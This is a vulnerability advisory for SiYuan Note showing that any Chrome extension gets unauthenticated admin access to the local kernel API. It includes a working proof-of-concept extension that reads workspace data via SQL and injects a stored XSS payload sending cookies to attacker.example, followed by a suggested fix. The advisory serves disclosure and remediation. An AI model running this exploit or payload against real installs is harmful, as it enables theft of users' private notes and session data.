SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist

Summary

SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.

Affected Versions

SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).

Vulnerability Details

Blanket chrome-extension:// Origin Trust (CWE-346)

In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:

if strings.HasPrefix(origin, "chrome-extension://") {
    // skip auth
}

At session.go:284, the request is assigned RoleAdministrator:

c.Set("role", model.RoleAdministrator)

The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.

The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit host_permissions) can access all admin endpoints.

Proof of Concept

Unauthenticated admin API access via browser extension:

A minimal Chrome extension with only default permissions:

{
  "manifest_version": 3,
  "name": "SiYuan PoC",
  "version": "1.0",
  "background": {
    "service_worker": "bg.js"
  }
}

// bg.js -- runs as chrome-extension://<id>
// No special host_permissions needed; localhost is accessible by default

// 1. Verify admin access
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: '{}'
}).then(r => r.json()).then(data => {
  console.log('[PoC] Admin API access confirmed:', data.code === 0);
});

// 2. Exfiltrate workspace data
fetch('http://127.0.0.1:6806/api/query/sql', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })
}).then(r => r.json()).then(data => {
  console.log('[PoC] Exfiltrated blocks:', data.data?.length);
});

// 3. Inject stored XSS payload into a note
fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ notebook: '', path: '/' })
}).then(r => r.json()).then(tree => {
  const firstDoc = tree.data?.files?.[0];
  if (!firstDoc) return;

  fetch('http://127.0.0.1:6806/api/block/insertBlock', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      dataType: 'markdown',
      data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">',
      parentID: firstDoc.id
    })
  });
});

The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.

Impact

• Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel
• Data exfiltration of the entire workspace via /api/query/sql, /api/filetree/, /api/export/
• Stored XSS injection via admin API endpoints (/api/block/insertBlock, /api/attr/setBlockAttrs), persisted in the user's notes
• Configuration tampering via /api/system/setConf, enabling persistence and further attack surface expansion
• Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user

Suggested Remediation

Remove blanket chrome-extension:// allowlist:

--- a/kernel/model/session.go
+++ b/kernel/model/session.go
@@ -274,9 +274,6 @@
 func CheckAuth(c *gin.Context) {
     origin := c.GetHeader("Origin")
-    if strings.HasPrefix(origin, "chrome-extension://") {
-        // Allow chrome extension requests
-    } else
     if !isValidOrigin(origin) {
         c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"})
         return

If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.